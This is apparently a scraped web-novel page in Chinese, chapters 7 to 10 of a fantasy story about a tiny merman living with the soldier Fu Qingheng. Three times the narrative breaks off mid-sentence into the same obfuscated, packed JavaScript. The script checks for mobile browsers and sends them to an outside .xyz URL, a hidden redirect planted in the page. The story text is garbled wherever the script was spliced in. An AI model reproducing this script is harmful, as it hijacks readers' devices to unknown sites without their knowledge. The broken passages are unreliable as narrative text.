傅青桁担任了一个递东西的角色,看着看着,嘴角就不自觉的扬起,安静的室内一时间就只有小人鱼游动时带起的水流声。 窗外夕阳西下,暖黄色的晚霞零星散落。 破开半掩的窗帘,给屋内镀上一层柔光。 傅青桁单手撑着下颚,目光随着鱼缸里的小人鱼一起。 温柔静谧,让人心底一片柔软。 时间悄然流逝,傅青桁打开了室内的灯,几种亮度调节,默认是不刺眼的暖黄色,以免在水下的小人鱼被晃到眼睛。 虞淮辞忙忙碌碌半天,总算是把自己的鱼缸装饰的差不多了。 不能一味的往里面添东西,要考虑到搭配,再就是……加多了就没有足够的空间练习游泳了。 这么重要的一项技能,必不能荒废。 虞淮辞拍拍手,双手叉腰欣赏着自己的杰作。 自己欣赏不够,还敲敲鱼缸。 “呜!” 你看! “很好看。”傅青桁短暂的顿了顿,像是在酝酿着什么,再开口:“色彩搭配和绿植运用让人眼前焕然一新,珊瑚和假花的搭配也半点都不突兀,像是天然形成的自然,真是鬼斧神工。” 一口气说完,听起来还有些许感慨的感觉。 虞淮辞:“???” 他‘唰’的抬头,这话不像是傅青桁这个性格能说出来的。 小人鱼眯起眼睛打量着桌边的人。 是不是打小抄了。 傅青桁被小人鱼盯着,轻咳一声,不着痕迹的把袖口往下带了带,遮住亮屏的通讯器,“今晚就在这睡吗?时间不早了,该休息了。” 虞淮辞伸长了脖子也看不清傅青桁通讯器屏幕里显示的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434089|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么,闻言下意识看了眼窗外,发现不知道什么时候天已经黑了,刚才忙着鱼缸软装忙的太沉浸,居然都没有注意到。 “呜……”虞淮辞想了想,游到滑梯口下去,准备游去最下面一层自己进便携式鱼缸里面。 在公司,办公室可以作为加班临时的卧室,但在家里,肯定还是要去卧室睡觉的。 傅青桁见小人鱼没有回答,反而玩起了滑梯,看样子是不想离开带给他新鲜感的新玩具。 沉默了一瞬,傅青桁想,这其实很正常。 这真的很正常。 亲手布置的鱼缸对小人鱼有很强的吸引力就是很正常。 很、正常…… 跟他回卧室又不会有相同有趣的鱼缸。 小人鱼还是留在这里比较开心。 混乱的思绪撩拨着沉寂的精神力,精神力反应又带动思绪越发繁杂。 精神力不受控制的渐渐将思绪吞噬。 虞淮辞挥别刚装修好的鱼缸,蜗回便携式鱼缸里,察觉到头顶的影子有段时间没有动,他轻轻‘嗯?’了一声,狐疑抬眼,“咿呀?” “嗯。怎么了。”傅青桁开口回答,视线却没有落点,更像是听到声音以后条件反射般的回应。 虞淮辞手撑着下巴,歪头笑看着他,“呜?” 我们不回卧室休息吗? 无意识间的触碰,灵力轻盈落下,傅青桁失焦的瞳孔逐渐凝聚,撞进小人鱼笑意盈盈的银色眼眸,他心下一动,唇瓣微张,“你……” 话一开口有片刻凝滞,小人鱼上滑梯只是为了换到便携式鱼缸里,并不是想留下来滑滑梯。 虞淮辞打了个哈切,顺毛似的拍拍傅青桁手背,下巴垫在上面,“咿呀。” 走吧,我都有点困了。 傅青桁指尖微微蜷缩,点点小人鱼微凉的脸颊,托起便携式鱼缸底部,走出办公室时,顺手关上了灯。 别墅走廊头顶上的灯是智能感应,踢脚线灯是晚间常亮的。 虞淮辞的活动范围比较固定,自从进来别墅,他还没有去别的房间看过呢。 “卧室里也有鱼缸,但比较空,什么都没有,只能做休息用,会比较单调,可能会睡的不太舒服。”傅青桁端着鱼缸,走向卧室时还在给小人鱼打预防针。 “呜、”虞淮辞对这些也没什么要求,他在现在这个便携鱼缸里都能正常休息。 只是……当卧室门打开,在看清楚一整面墙前,与室内高度齐平的落地式装满水的容器前,虞淮辞陷入沉思。 这这这、 这鱼缸的一个吊灯灯泡都比他大! 感觉都能养下一条海妖那种鱼尾几米长的人鱼了。 说实话,你是不是准备买条鲸鱼来养。 虞淮辞直接就看愣住了,嘴巴微微张开,视线从上扫到下,再从下扫到上,再看向鱼缸旁边,形成鲜明对比的简陋的单人床。 傅青桁说:“今天先委屈一下,定制的东西明天才能到。” 一个一米九的人睡单人床地方宽敞,一条十几厘米的小人鱼睡房间三分之一大的鱼缸稍显委屈。 虞淮辞眨眨眼睛,卧室的鱼缸是不是有点夸张的大了。 傅青桁说:“这款是网上热度最高,销量最好的。” 安装方便快键,精准控温,评价也都很好。 傅青桁看到实体的时候也觉得很大,下单没注意尺寸,毕竟搜索的时候都是按照小人鱼合适的尺寸。 只是,评价好,返图多,线上视频也不少。 那、鱼缸的尺寸大,肯定也有大的道理。 虞淮辞指了指鱼缸,举起手,双手在头顶合十,然后骤然向两侧分开,这么大! 这个鱼缸有这、么、大! 8. 第 8 章 虞淮辞感觉,在里面睡觉,一觉睡醒都不知道自己飘到哪了。 “咿呀?”虞淮辞侧眸。 你真的没有被店家的广告忽悠吗? 傅青桁读懂了小人鱼眼神中的欲言又止,“网上说,这个鱼缸可以带给小人鱼自由的感觉。” 虞淮辞:“……” 傅青桁问:“要进去试试吗?” “呜!” 要! 当然要试。 主打一个来都来了。 买都买了。 覆盖一整面墙的鱼缸,比起单纯的鱼缸,看起来都有点像展示柜。 虞淮辞落入大型鱼缸里,四处观察着,漫不经心的想,他要是能长到适配鱼缸这么大就好了,那简直太酷了。 大型鱼缸有大型鱼缸的好处,身处其中,从高处往下俯视,感觉视野都开阔了不少。 尤其是他现在身形比较小,相比于人鱼繁育基地一个大池子里又是珊瑚又是礁石,还一次性养了上百条小人鱼的拥挤,这里宽敞舒适。 角落还有一株不知道叫什么名字的水生植物,长得挺高,叶片也足够大。 虞淮辞绕着游了一圈,手撑着叶片,感觉叶子都可以当床用了。 “还习惯吗?”傅青桁看着小人鱼有些僵硬的游来游去。 “呜!”虞淮辞向下游到与傅青桁视线齐平的位置,银白色的长发随着水流波动而轻晃,他眉眼弯弯。 放心吧。 我适应能力超强的。 见小人鱼没有不喜欢的意思,傅青桁紧绷的心神放松下来,“那你先玩着,我去洗个澡。” 虞淮辞张了张嘴,吐出一个泡泡,‘啵’ 好。 便携式鱼缸被傅青桁放在了床头柜上。 卧室是叠拼套间,浴室在里面的休闲厅,隐形门开的时候虞淮辞往里瞥了一眼。 怪不得他觉得傅青桁卧室很小,原来是内有乾坤。 虞淮辞转身,在大鱼缸里边边角角都游过一遍,像是圈地盘那样熟悉一下。 里面浴室的水声还没停,虞淮辞有些无聊的趴在叶片上等他出来。 但没多久就感觉眼皮越来越沉,他的电子设备留在办公室了没带回来,果然,不能上网打发时间,周围环境一安静下来就容易困。 银白色小人鱼蹭着绿叶卷边,困得眼睛都眯成了一条缝隙,还时不时晃一下尾巴,试图让自己保持清醒。 傅青桁出来时,一眼就看见了满目绿色上唯一一点的银白。 “呜、”听到动静,虞淮辞哈切连天,还努力地想睁开眼睛。 你洗好了呀。 傅青桁意识到小人鱼在等他,先是一怔,看向困极了的小人鱼目光一片柔软,“睡觉吧,晚安。” “呜、呀。” 晚、安。 --- 这一觉,傅青桁睡的并不安稳。 记忆中生死的血腥画面总会在他入睡之后在脑海中反复。 死亡的感觉像是挥之不去的梦魇,只隐藏在脑海深处,在你放松警惕的时候给你致命一击。 避开梦魇的最好方式就是不入梦。 傅青桁曾经执拗的用工作麻痹自己,但身体总有撑到极限的那一刻。 “去死。” “你去死吧——!” 那道熟悉的声音再度出现。 不、 我不能死。 我要活着,我得活着。 不然,我的小人鱼该怎么办。 对,我不能死,我不能——! 凝滞的记忆找到突破口,意志挣脱出牢笼。 傅青桁骤然睁开眼睛,胸口起伏,额间满是冷汗。 “咿呀?”银白色的小人鱼倒挂在绿叶上,拉扯着叶片垂下,漂亮的眼眸正担忧的望向他,瞳孔之中满是他的影子。 你还好吗? 做噩梦也是很消磨人心神的一件事。 他没有觉察到傅青桁精神力的波动,这或许也是在坏消息之中的相对较好的消息。 “我没事,别担心。”傅青桁轻声开口,纤长的睫毛垂下遮住眼底思绪,安静半晌后他低声说:“抱歉。” “呜!”虞淮辞拍拍鱼缸。 不要说抱歉。 虽说世界上没有真正的感同身受,但作为看原文第一眼就被傅青桁吸引住的读者,虞淮辞能读懂傅青桁的难过。 虞淮辞想像之前那样摸摸他的手,或者触碰后释放灵力予以安慰,奈何鱼缸碍事。 他仰头向上看了一眼,在思索跳缸的可能。 就在这时,虞淮辞感觉余光一暗,再回头,傅青桁额间抵在了鱼缸上。 鱼缸的材质特殊,像是一面双向透明的镜子,离得近了,虞淮辞甚至能看见傅青桁眼底的鱼尾。 虞淮辞弯了弯眼睛,伸手,隔着鱼缸在他眉心处蹭了蹭。 不要皱眉,不要难过。 都会好的。 一切、都会好起来的。 “呀?!”虞淮辞正安慰傅青桁,被他拽下来的绿叶发出抗议,被拉扯歪倒的绿植骤然绷直。 拉着绿色叶片的小人鱼来不及反应,就化作一摸银色的流光,向上窜飞。 起飞。 虞淮辞:“?!!” “小心。”傅青桁连忙起身,伸手在鱼缸外围防范。 飞起来掉在水里还好,要是砸在地上,这么小一条人鱼,那个画面傅青桁简直不敢想象。 “呼——!”虞淮辞在水中上窜。 好在绿植的弹性有限,虞淮辞只将将浮出水面,在注意到傅青桁高举的手时,他顺势扑出来,“咿呀!” 我来了! 空中转体两周半——骗你的没转。 嗷! 银白色的小人鱼在半空中雀跃的扬起尾巴,目光灼灼的扑向傅青桁。 傅青桁早有准备,伸手去接的同时掌心向内把他带到自己胸前,直到扣住实体,他才提到喉咙的心脏才落了下来,紧张的额间‘突突’直跳。 “呜——!” 好玩! 傅青桁看小人鱼显然没有意识到刚才行为的危险性,眉头皱起,压低了声音试图让自己此刻看起来威严冷肃,“小白……” “呀?”虞淮辞挑眉,小白? 看颜色取名字吗? 这哪里是白色? 虞淮辞不服,晃晃自己尾巴,这是银色! 就算是用小字取名,那也应该是小银…… 唔、也是没好到哪去。 傅青桁沉声:“看着我,小白。” 虞淮辞眨眨眼睛,怎么啦? 傅青桁低下头,极具压迫感的靠近,“你不能……” 虞淮辞没听清他说什么,已经抬手覆在了傅青桁的眉心。 微冷带着点点湿润的掌心在傅青桁眉间轻揉。 “呜、”银白色的小人鱼笑着一点点抚平他蹙起的眉头。 怎么啦? 傅青桁满肚子‘那样很危险’‘这里的鱼缸太高摔下来会受伤’‘不许跳缸’等等想说的话,都被小人鱼一个眼神压了下去。 没有必要吧。 小人鱼天性就是活泼好动的。 都怪他准备的东西太少,没有足够的娱乐方式,才导致小人鱼玩跳缸飞跃。 能怪小人鱼吗? 明明是他的错。 傅青桁想通其中关窍,点点小人鱼眉心,“乖。玩具到了我给你放鱼缸里。” “嗯、”虞淮辞乖巧应声。 好。 …… 一个晚上,楼下快递间的快递堆积成山。 多出来的已经延伸到了院子里。 傅青桁重生这么多次,总共加起来买过的快递都没有现在一天多。 早餐是小人鱼喜欢的鱼片和贝类,没有上次那么多,按照小人鱼的食量准备了一小盘。 虞淮辞坐在餐桌上,看了一眼昨天刚吃过的鱼片。 生鱼片吃起来味道确实不错,但是总吃也会腻呀。 家用机器人‘滴滴’提醒着挪过来,地上的滚轮调转方向,“早上好,您的早餐。祝您用餐愉快。” 盖着不透明防尘盖的精致早餐摆在了傅青桁面前。 顿时,虞淮辞眼睛都亮了。 这种上菜方式,即使不是炒菜,那也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434090|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西餐牛排。 虞淮辞现在都不奢求火锅烧烤这些,随便是什么,熟的改改口味也好。 “啊!”银白色小人鱼尾巴将装有生鱼片的盘子推给傅青桁,注意力都在他的饭上。 我们交换。 “你想吃这个?”这很好理解。 毕竟小人鱼的食物都推过来了。 虞淮辞用力点头。 傅青桁想了一下小人鱼的食谱,记忆中好像没有这项,“你吃鱼,小人鱼都不吃这个,不好吃。” “呜!” 不要那么绝对嘛,别的小人鱼不吃,不代表我也不吃呀。 我今天就要做联邦里最独特的那条人鱼! 虞淮辞信心满满,自信且坚定,今天的美食他是吃定了! 傅青桁想了想,还是决定遵循小人鱼的意思,“如果你很想尝试的话,可以试喝一口。” 虞淮辞听着他的用词,喝一口? 难不成不是牛排,奶油芝士浓汤吗? 算了不管了,管他是啥,难不成还能比鱼片更难吃吗? 但当傅青桁盖着食物的不透明防尘盖打开,映入眼帘的是一个盘子,细看过去,盘子上还横着一管没有开封的溶液。 虞淮辞:“???” 天呐。 还真能! 傅青桁把营养液打开,拿小杯子给他倒了点,见他没反应,不解道:“不喜欢这个口味?” 虞淮辞默默往自己的小椅子里靠靠,努力远离那闻起来味道古怪的东西。 其实最不最独特的人鱼……咱不讲究这些虚名。 这样,虚名我不要,这营养液你也拿回去。 傅青桁眼睁睁看着小人鱼从期盼好奇到恨不得把营养液重新盖回去的光速变脸,不由得轻笑一声,原来是以为里面是好吃的。 傅青桁收起营养液,说:“不想吃鱼片是吗?” “呜……”虞淮辞叼着生鱼片生无可恋。 不吃也得吃了。 傅青桁说:“午饭给你换换口味。” 虞淮辞还是没什么精神,换来换去也还是小人鱼的口味,他不知道怎么跟傅青桁形容吃火锅。 傅青桁把腕上的通讯设备摘下来,摆在小人鱼面前,“来,这上面有图片,你看看,喜欢哪个,中午给你准备。” 银白色的小人鱼惊喜抬眸,“嗷!” 傅青桁你简直是个天才! “但是,早饭也要吃。”傅青桁夹起小片鱼片。 “嗷呜、”虞淮辞一口咬下,一边‘嚼嚼嚼’一边翻看美食图片。 现在看来,这简直就是饭店菜单。 还是各种不同国家不同地区的美食菜单,什么口味都能吃到的那种。 虞淮辞看着这些图片,感觉已经品到它们不同的味道了,“呜……” 这个感觉会好吃,这个也很香,这个红油麻辣的肯定很开胃…… 傅青桁三两口喝完营养液,一点点仔细喂着小人鱼,“选好了吗?” 虞淮辞点点头,差不多了。 傅青桁问:“想吃哪个?” 银白色的小人鱼伸出手,精准的点在了一张图片上。 “干炒牛柳,好。”傅青桁记下名字。 然后,就见小人鱼的手快速在屏幕上一顿乱点,几乎挑出了重影。 这个这个这个……这个…… 还有……这个! 傅青桁收藏图片的手一顿,转瞬就找不到了小鱼选的第一张图,“太多了,你吃不完。” 牛排还好,可以切一块尝尝味道,但炒菜不能只炒两条牛柳一些配菜。 “呜、”虞淮辞现在嘴里淡的没味,真是看见什么都想吃,为难的咬住傅青桁伸过来的筷子。 好难选。 “嗷……”虞淮辞眼巴巴的看着他。 你帮我选一个吧…… 像是在撒娇,眼神依恋又信任。 傅青桁没有犹豫,敲定了午餐的菜谱,“那就吃这些。” “呜?” 傅青桁说:“都尝尝。你吃不完我吃。” 一顿吃不完就吃两顿。 菜热热也能吃。 9. 第 9 章 傅青桁一锤定音,“就这么定了。” 这些菜交给家用机器人就行。 从采买到路上运输都是一条完整的供应链,很多个机器人一起忙活,能在午饭之前把这些菜品都准备出来。 傅青桁话落以后,小人鱼到嘴的鱼片都不吃了,“吃饱了?” 鱼片还剩那么多,贝类切片都还没动,显然不是小人鱼正常的食量。 银白色小人鱼老实巴交的点头,“呜……” 吃饱了。 非常饱。 虞淮辞早饭不打算吃太饱,要留着肚子中午吃好吃的。 小人鱼的心思显而易见,傅青桁怎么会猜不出来,“最后一口。” 吃几片垫垫肚子也行,再不济午饭前吃点鱼干。 虞淮辞:“嗷。” 好吧好吧。 傅青桁抽了张纸巾给小人鱼擦了擦嘴角,说话间注意到快递盒子里夹的一个印有logo的盒子,他放下筷子,“等我一下。” 虞淮辞看着外面堆积如山的快递。 傅青桁精准把带有LOGO的盒子抽了出来。 这堆快递,除了买给小人鱼的,就是买给小人鱼的。 从吃的喝的到用的玩的,日常不日常,傅青桁反正看见就会下单,具体怎么用,好不好用,得收到货才知道。 索性就全买了。 虞淮辞的好奇心也被勾起来了,他以为是傅青桁买来准备放在大型鱼缸里的玩具,伸着脖子看傅青桁给盒子消毒。 ‘嗡’ 突兀响起的声音有点像是引擎的轰鸣,‘滋滋’电流音过后,快递箱子里钻出一辆通体漆黑的玩具跑车。 跑车的驾驶位上还摆放着一袋蓝色包装的鱼片。 标题上的‘新鲜海鱼捕捞’十分醒目。 虞淮辞:“嗯?” 玩具跑车不能开到桌子上,便载着零食停在了桌边。 傅青桁过了两道消毒手续过来,手里拿着的是黑色的遥控器,上前俯身顺手将玩具跑车拿了起来放在桌上,“看看,喜欢吗?” 是玩具,但看起来不太像是能放进鱼缸里的玩具。 “嗷、” 喜欢。 没有人会不喜欢酷炫的跑车。 虞淮辞小时候也有过不少玩具车,跑车轿车山地车应有尽有,没想到傅青桁也喜欢这些。 跑车模型非常精致,称得上是车的一比一还原,连方向盘的纹路都完美复刻。 傅青桁把跑车放到桌上,指着方向盘下面一左一右的,取代了擦玻璃器的掰手,“这边是油门,这边是刹车。” 虞淮辞:“呜?” “不是觉得待在鱼缸里无聊。”傅青桁接回小人鱼还没多久,就见他跳了好几次鱼缸。 一直待在同一个地方,对于探险欲爆棚的小人鱼来说,确实是有些难受。 反正是在自己家里,玩具跑车有最高限速,小人鱼开着玩具跑车在家里随便往哪去。 如果小人鱼不想开车,也可以自己操纵遥控器,控制着车去任何地方。 遥控器信息接收范围很广,只要在别墅内。 虞淮辞的眼睛一点点睁大,他以为这个跑车是傅青桁自己买来收藏的,却没想到,这个也是给他买的。 一直待在鱼缸里确实会很无聊,但鱼尾不能长时间离开水,再加上鱼尾无法走路,想挪动也很难。 虞淮辞倒是没觉得有什么,在他看来,这应该是小人鱼日常的常态,可……傅青桁有认真的在解决他生活中的无趣,努力让一切都变好。 傅青桁说:“你不方便踩刹车,就把位置挪到了上面,你转动方向盘的同时就可以操作。” 正常无论是正常跑车还是玩具跑车,都不会把刹车油门放上面,这两个旋钮是下单以后,后期找客服改装的。 毕竟要在各个角度适配小人鱼,不能开可不行。 跑车是敞篷的,不用打开车门,傅青桁直接把小人鱼放进驾驶位,指尖勾着安全带扣好,“我想过改装鱼缸,但不太稳定。”而且也不好添加防护。 无论是怎么样的鱼缸,完全适配车底盘大小肯定会被压缩,与其那样,倒不如从正常能开的玩具车上下文章。 说是玩具车也不尽然,这是跑车公司推出的周年庆贺礼,因为做工精细费时,要人工手动打磨,售价比真正上市的跑车价格还高。 在家用飞行器遍布的时代,能靠着售卖跑车立足的公司,做出来的东西质量自然是不必说。 现成的跑车模型也很符合傅青桁的要求。 安全气囊是最基本的,四周还有呈包裹式的防护罩,即使以最快速度撞在墙上,坏的也会是墙,而不是里面驾驶车的小人鱼。 车也是防水的,专门定制的防水涂层。 傅青桁往驾驶位里面倒了一些水进去,检查一下确认没有任何漏水的迹象,“这样玩多久都没事。” “!!!”虞淮辞是真喜欢这个玩具。 他‘嗷呜’一声扑到傅青桁手心,蹭来蹭去,蹭来蹭去。 傅青桁双手扣住打滚的小人鱼,“你尝试一下,看看还缺什么吗,哪里操作不习惯可以再调整。” 没有一出场就完全契合小人鱼开的跑车,就是要在小人鱼开过以后,按照小人鱼的习惯一点点修改。 “先试着开这个,等你熟悉了,我再给你换飞行器,可以悬浮。”小型飞行器就没有正常飞行器的飞行高度,大概能到膝盖的位置。 但对于在家玩闹的小人鱼来说,已经完全足够。 只是上手操作有些难度,还是要从简单的开始练起。 “呜!”虞淮辞点点头,他向后靠去,正正好可以陷在驾驶位里,车里的水没过鱼尾。 每一个细节都做的刚刚好。 虞淮辞喜欢的不行。 没有小人鱼能够拒绝一辆代步车,没、有! 傅青桁操纵遥控器,“要是用方向盘不习惯的话,也可以拿遥控器开。” 只是用方向盘会更有代入感。 这辆车的存在的原因一则是让小人鱼可以活动起来,二则就是给小人鱼打发时间用。 虞淮辞:“嗯、” 好。 他慢吞吞的开车着在桌上移动。 傅青桁把桌上剩下的生鱼片吃了,同时给家用机器人输入指令,准备中午的菜色。 开车看起来简单,可等虞淮辞真正上手之后才发现,不能脚踩刹车油门还是不太习惯,但这种自由活动的感觉,太令人鱼感到着迷了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434091|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 傅青桁说:“我有些事情要处理,你在楼下自己玩可以吗?” 虞淮辞开车绕了两圈,闻言当即结束了练车,转身朝他伸出手,“咿呀。” 抱。 “嗯?不玩了吗?”傅青桁抬头,掌心向上接过小人鱼,离开跑车的鱼尾还是湿润的,银白色的鱼尾在灯光下熠熠生辉。 “呜……” 傅青桁虽然没有正式军衔,但他父亲是实打实的元帅,手底下是真有听命于自己的军团。 作为傅家长子,从小就肩负了许多,处理军团相关也是要负责的其中之一。 真的要是忙起来,傅青桁有时候连饭都顾不上吃,什么时候下楼就更不知道了。 傅青桁去楼上忙工作的话,他也不想自己在下面开车玩。 小人鱼扬起的尾尖卷着他的手指,悠闲的躺在手中,傅青桁指尖微蜷,蹭蹭小人鱼尾巴,“要跟着我?” 虞淮辞轻抬下颚,那当然啦。 傅青桁试图劝小人鱼找一些有意思的事情做,“我忙起来可能顾不上陪你玩。” 虞淮辞眉梢微挑,清冽的灵力溢散将他包裹,我可是有正事要做的。 小人鱼实力对傅青桁的话表示抗议。 傅青桁轻笑一声,“好,那一起去。” 想了想,他还是把跑车拿上了。 家用机器人紧锣密鼓的忙活起来,路过厨房,里面都是‘噼里啪啦’的锅铲和锅具碰撞的声音。 虞淮辞往里看了一眼,家用机器人长相都差不多,一个个圆脑袋在里面有条不紊的工作,旁边还站着一个总指挥主持大局,可以说是非常有纪律了。 傅青桁带小人鱼又回到了办公室,“去鱼缸里玩吗?” “呜!”虞淮辞果断拒绝,他暂时还不会不接触使用灵力。 要和傅青桁贴在一起才行。 “行。”看小人鱼抱着自己手指不撒开的架势,大抵也是不同意去鱼缸里的。 傅青桁在办公桌前坐下,打开电脑。 短暂的开机画面后,投屏展开。 虞淮辞忙自己的事,没有打扰傅青桁办公。 灵力流转间也能扫去工作的疲惫,帮傅青桁恢复精神。 只是,现在灵力还不是很充盈,过渡消耗以后他反而会先困,避免自己先睡着,虞淮辞间歇性释放灵力,给自己留出了缓冲时间。 时不时抬头看一眼投屏,活动一下酸痛脖子的同时,也能看看最近有什么新消息。 看不看得懂不重要,先看了再说。 傅青桁翻了几页电子文件,突然想到什么,低头正要开口,却见小人鱼背对着他,入神看着投屏中的文件,后脑勺都透着几分认真,小小一只,看的他没忍住轻笑一声。 “呜?”虞淮辞听到动静,茫然抬头,看不清又往后仰了仰。 怎么啦? 傅青桁指尖低着小人鱼的后脑,把他推回来,“有看出什么来吗?” “呜……”小人鱼沉默。 其实我觉得这个不是什么大问题。 不管是标题还是内容,对我而言都只是小事一桩。 最大的问题其实是…… 我不认识星际的文字。 真是令人鱼头痛。 10.第 10 章 虞淮辞看星际文字,并不是跟看毫无印象的小众国家小众语言一样,跟记忆中的文字连点相似的地方都没有。 有一种学汉字看繁体字的感觉,有些单拎出来不认识,连成句子反而能认识几个,但一整个句子下来,还是不太能理解。 莫名有一种认字全靠猜的感觉。 字是五花八门,偏偏发音都是一样的——因为他能听懂傅青桁说话。 倒也不能说是完全不认字,微认吧。 主要原因还是不能把发音和文字样子联系到一起。 不过好在,数字还是数字123该有的样子。 猜呗。 知识储备全靠猜。 傅青桁只是见小人鱼看的认真,并没有真的询问的意思,眼见着银白色的小人鱼被他一个问题打的歪了脑袋,他抬手,掌心自上覆下,掌心正好搭在小人鱼头上,轻轻用掌心去蹭他。 ——‘您好,有客人来访。’ 电子门铃的声音打破屋内安静的氛围。 可视化门铃同步电脑,外面有人按响门铃,视频也会同时出现在电脑投屏上。 傅青桁瞥见监控画面里的人时,面上柔和的笑意褪去,眉间缓缓蹙起,视线扫过那人熟悉的面孔,生死反复间所遇到的,被恶意浸透的杀意仿佛在那人脸上浮现,“……傅晖。” “呜?”虞淮辞还在和电脑上的字较劲,即使监控视频弹窗挡住了一部分字,他也没有丝毫被影响,专心致志的在那头脑风暴。 下一刻,风暴骤停。 什么东西? 谁? 傅什么? 傅晖?!! 虞淮辞蓦地睁大眼睛,仰头看向视频中因为没有人来开门而逐渐变得急躁的面容,不认识脸,但这个名字可以说是如雷贯耳。 靠! 傅青桁的亲生父亲。 如果说傅青桁的弟弟是以傅青桁的不幸脱颖而出,那傅晖就是造成傅青桁一切不幸的始作俑者。 一个家庭两个孩子,有点偏心可以理解,但哪有像傅晖这样,放着明珠不管,专心致志的捧着一颗破石头。 尤其是在明珠自己努力发光的时候,他带着石头把明珠砸碎,把石头捧上神坛。 这不闹呢吗。 都是亲儿子差别这么大。 虞淮辞都要怀疑傅青桁是不是被拐来的了。 傅晖在原文中心狠手辣,虞淮辞还以为他会是个老头子形象,没想到看起来还挺年轻。 或许是星际时代,人类现在的年龄可以轻松突破几百岁,再加上出神入化的医疗医美手段,傅晖身居高位,财气养人,看起来也才四五十岁的样子。 一副商业精英模样。 看起来给人一种沉稳老练阴狠的感觉,好像稍不注意就会突然捅你一刀的那种。 傅青桁翻动掌心,要把小人鱼捧起来放进鱼缸,“我下去一趟,你在……” “呜!” 不行! 傅青桁要和傅晖见面,虞淮辞心里直接拉响一级警报。 这个占着亲生父亲身份却不干人事的东西,亲自找上门来肯定没有好事! 虞淮辞紧张的握住傅青桁的手腕,“呜、” 别理他。 直接让他滚出去。 “别怕。”傅青桁感知到小人鱼的紧张,以为他是对登门的陌生人感到害怕,安慰道:“你就在这待着,我去去就回。” “咿呀!” 不行! 虞淮辞一把抓住傅青桁衣摆,“呜!” 如果一定要去的话,那我跟你一起去! 休想自己去面对。 万一傅晖真的臭不要脸发动精神力攻击的话,他还能帮忙。 即使没打起来,吵起来。 反正傅晖听不懂人鱼话,虞淮辞还能偷摸骂他两句。 这波稳赚不亏。 傅青桁看懂了小人鱼的意思,“你也要去?” 其实也没必要问,小人鱼已经完全悬在了他衣服上。 傅青桁猜也知道傅晖是为了什么事来的,他既然做出直接带小人鱼去人鱼繁育基地的事,就不怕傅晖追究,只是交流起来终究是有点困难,怕一旦发生什么事小人鱼会应激,“下面可能会很混乱。” 虞淮辞尾巴晃晃,安慰。 放心,我什么大场面没见过。 傅青桁又说:“你要不就待在这里,我把监控打开,你在楼上也能看见我。” “呀!”虞淮辞依旧拒绝。 他挂在半空,能感觉到傅青桁的手正托着他的尾尖。 虞淮辞想了想,索性松开手,傅青桁的手同时向上。 银白色的小人鱼稳稳落在了他掌心。 “小心。” 虞淮辞拍拍他掌心,直接趴下来,指了指自己,又指了指门口,在傅青桁手中往前爬了些许剧烈。 非常形象的‘我动你猜’。 演示完的小人鱼手撑着下巴,“呜!” 你不带我去,你出去以后我就这样爬出去。 傅青桁:“……” 懂了。 但,以小人鱼刚才一分钟在他手上挪动肉眼不见的距离来计算…… 傅青桁说:“等你爬出去都该吃晚饭了。” 现在午饭还没吃呢。 虞淮辞:“???” 把我的车开来。 话虽这么说,傅青桁还是挺怕小人鱼跳缸的,鱼缸在桌子上,跳缸掉在桌子上还好,要是掉到地上,即使有地毯也得摔出个好歹。 小人鱼是在想去,傅青桁只好把便携式鱼缸拿出来。 估摸着客厅也得准备个固定式的鱼缸,经常去的地方都得有鱼缸。 水对于小人鱼而言是必需品。 ‘哗啦’ 虞淮辞舒舒服服的窝进了鱼缸,“呜!” 走吧走吧,让我来会会这个老家伙。 可惜手里没有药,不然……即使不能毒死这个老东西也能让他难受一段时间。 不知道星际的购物网站上,有没有可以用的中药材。 银白色的鱼尾尾尖轻挑,虞淮辞想着找机会得上网看一眼。 傅青桁走进客厅,先将装有小人鱼的鱼缸放在了桌子上,而后,给了机器人一个指令。 ‘滴滴’ 得到指令的机器人踩着两颗小轮子稳稳地冲向门口。 小机器人:“您好,欢迎光临。” “你还知道开门!”傅晖张嘴就是一声怒斥,几乎是与小机器人的声音同时响起。 顿了顿,傅晖也听到了这道机械电子音。 再一抬头,看见稳稳坐在沙发上,手里拿着不知名东西正往鱼缸边上放逗小人鱼玩的人。 傅晖眉眼一沉,不说作为主人迎客,就说傅青桁现在一点对亲生父亲的尊重都没有,连站起身都不会! 真是越看越拿不出手,傅晖绕开挡路的机器人,沉声说:“傅青桁,你太令我失望了。” 傅青桁把小人鱼的玩具车放到地上,留着遥控器给他打发时间,安置好小人鱼以后,才轻描淡写的抬了下眼眸,“反思一下自己为什么这么容易失望。” 傅晖一噎,“你……” 以往,他只要说出这样的话,傅青桁都会认错,态度不说良好,却也算是恭顺。 